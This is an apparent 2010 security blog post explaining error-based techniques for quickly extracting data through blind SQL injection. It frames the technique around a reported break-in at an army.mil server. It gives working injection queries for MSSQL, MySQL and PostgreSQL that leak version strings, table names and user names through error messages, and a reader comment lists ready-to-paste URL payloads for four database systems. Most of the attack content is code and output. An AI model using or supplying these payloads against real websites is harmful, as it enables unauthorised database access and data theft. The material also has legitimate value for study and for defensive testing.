Pages

Monday, January 11, 2010

Methods of Quick Exploitation of Blind SQL Injection

A couple of days ago TinKode attracted everybody’s attention by breaking a web site in the domain army.mil. The server onestop.army.mil was attacked and the investigator found a Blind SQL Injection vulnerability on it.

A logically true query:



A logically false query:



This time, I was most interested not in the fact of server compromise, but in the applied technique of exploitation of Blind SQL Injection vulnerability at DBMS MSSQL 2000:



Thus, if casting via the function convert() is unsuccessful, then MSSQL will place useful data into the error message! Testing of a later version of MSSQL 2005 showed that the technique used by TinKode is applicable to it, too:

select convert(int,@@version);
select convert(int,(select table_name from(select row_number() over (order by table_name) as rownum,table_name from information_schema.tables) as t where t.rownum=1));
select convert(int,(select table_name from(select row_number() over (order by table_name) as rownum,table_name from information_schema.tables) as t where t.rownum=2));
...



Similar manipulations with casting were conducted for a widespread DBMS MySQL. The experiment showed that in case of unsuccessful casting, MySQL returns a non-critical notification that cannot be used to achieve the same results for Blind SQL Injection exploitation:

mysql> select cast('str1' as char);
+----------------------+
| cast('str1' as char) |
+----------------------+
| str1                 |
+----------------------+
1 row in set (0.00 sec)

mysql> select cast('str1' as decimal);
+-------------------------+
| cast('str1' as decimal) |
+-------------------------+
|                       0 |
+-------------------------+
1 row in set, 1 warning (0.01 sec)

mysql> show warnings;
+---------+------+-------------------------------------------+
| Level   | Code | Message                                   |
+---------+------+-------------------------------------------+
| Warning | 1292 | Truncated incorrect DECIMAL value: 'str1' |
+---------+------+-------------------------------------------+
1 row in set (0.00 sec)

mysql> select convert('str2',char);
+----------------------+
| convert('str2',char) |
+----------------------+
| str2                 |
+----------------------+
1 row in set (0.00 sec)

mysql> select convert('str2',decimal);
+-------------------------+
| convert('str2',decimal) |
+-------------------------+
|                       0 |
+-------------------------+
1 row in set, 1 warning (0.00 sec)

mysql> show warnings;
+---------+------+-------------------------------------------+
| Level   | Code | Message                                   |
+---------+------+-------------------------------------------+
| Warning | 1292 | Truncated incorrect DECIMAL value: 'str2' |
+---------+------+-------------------------------------------+
1 row in set (0.00 sec)

Well and good:) But then, the universal exploitation technique by Qwazar is applicable to all MySQL versions:

select count(*),concat(version(),floor(rand(0)*2))x from table group by x;
select count(*),concat((select user from mysql.user limit 0,1),floor(rand(0)*2)) x from mysql.user group by x;
select count(*),concat((select user from mysql.user limit 1,1),floor(rand(0)*2)) x from mysql.user group by x;
...
select 1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1);



Using one such request, an attacker can obtain up to 64 bytes of useful data from the error message. This technique can be used for MySQL >= v3.x.



Further experiments with the technique proposed by TinKode showed that this method can be applied to PostgreSQL, too:

select cast(version() as numeric);
select cast((select table_name from information_schema.tables limit 1 offset 0) as numeric);
select cast((select table_name from information_schema.tables limit 1 offset 1) as numeric);
...




Like MSSQL, PostgreSQL doesn’t seriously restrict the length of the data returned within an error message. If the function pg_last_error() is not called within the context of PHP, but error_reporting is still enabled, then one query allows an attacker to obtain up to 1229 bytes of useful data from the error message generated by PHP.

Unfortunately, such tricks will not work with Oracle:



It is necessary to consider this DBMS...

1 comment:

  1. Universal checks of database version.

    MySQL:
    /?id=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)--

    MSSQL:
    /?id=1 and(1)=convert(int,@@version)--

    PostgreSQL:
    /?id=1 and(1)=cast(version() as numeric)--

    Sybase:
    /?id=1 and(1)=convert(int,@@version)--

    ReplyDelete